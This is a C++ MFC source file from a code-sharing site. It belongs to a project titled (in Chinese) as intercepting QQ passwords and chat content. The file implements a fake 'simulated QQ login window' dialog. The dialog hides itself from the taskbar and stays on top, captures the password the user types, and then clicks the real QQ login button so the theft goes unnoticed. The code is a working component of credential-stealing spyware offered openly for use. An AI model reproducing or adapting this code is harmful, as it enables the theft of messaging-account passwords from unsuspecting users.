gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/DlgSimuQQLoginWindow.cpp

    // DlgSimuQQLoginWindow.cpp : implementation file
//

#include "stdafx.h"
#include "DlgSimuQQLoginWindow.h"
#include "RemoteThreadMateQQDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CDlgSimuQQLoginWindow dialog


CDlgSimuQQLoginWindow::CDlgSimuQQLoginWindow(CWnd* pParent /*=NULL*/)
	: CDialog(CDlgSimuQQLoginWindow::IDD, pParent)
{
	//{{AFX_DATA_INIT(CDlgSimuQQLoginWindow)
	m_csQQLocalPassword = _T("");
	//}}AFX_DATA_INIT
}

void CDlgSimuQQLoginWindow::SetParameter ( LPVOID lpRemoteThreadMateQQDlg, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara &tFindQQLoginInfoPara )
{
	m_lpRemoteThreadMateQQDlg = lpRemoteThreadMateQQDlg;
	m_hWndQQLoginWindow = hWndQQLoginWindow;
	memcpy ( &m_tFindQQLoginInfoPara, &tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) );
}

void CDlgSimuQQLoginWindow::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CDlgSimuQQLoginWindow)
	DDX_Text(pDX, IDC_EDIT_QQLocalPassword, m_csQQLocalPassword);
	//}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CDlgSimuQQLoginWindow, CDialog)
	//{{AFX_MSG_MAP(CDlgSimuQQLoginWindow)
	ON_WM_DESTROY()
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CDlgSimuQQLoginWindow message handlers

BOOL CDlgSimuQQLoginWindow::OnInitDialog() 
{
	CDialog::OnInitDialog();
	
	// 不显示在任务栏
	::SetWindowLong(GetSafeHwnd(), GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	// 总在最前面
	SetWindowPos ( &CWnd::wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE|SWP_SHOWWINDOW );
	
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}

void CDlgSimuQQLoginWindow::OnDestroy() 
{
	UpdateData ();
	CDialog::OnDestroy();	
}

void CDlgSimuQQLoginWindow::OnOK ()
{
	if ( ::IsWindow(m_hWndQQLoginWindow) )
	{
		::SendMessage ( m_hWndQQLoginWindow, WM_COMMAND, WM_COMMAND_USER_ClickLoginButton, NULL );
	}
}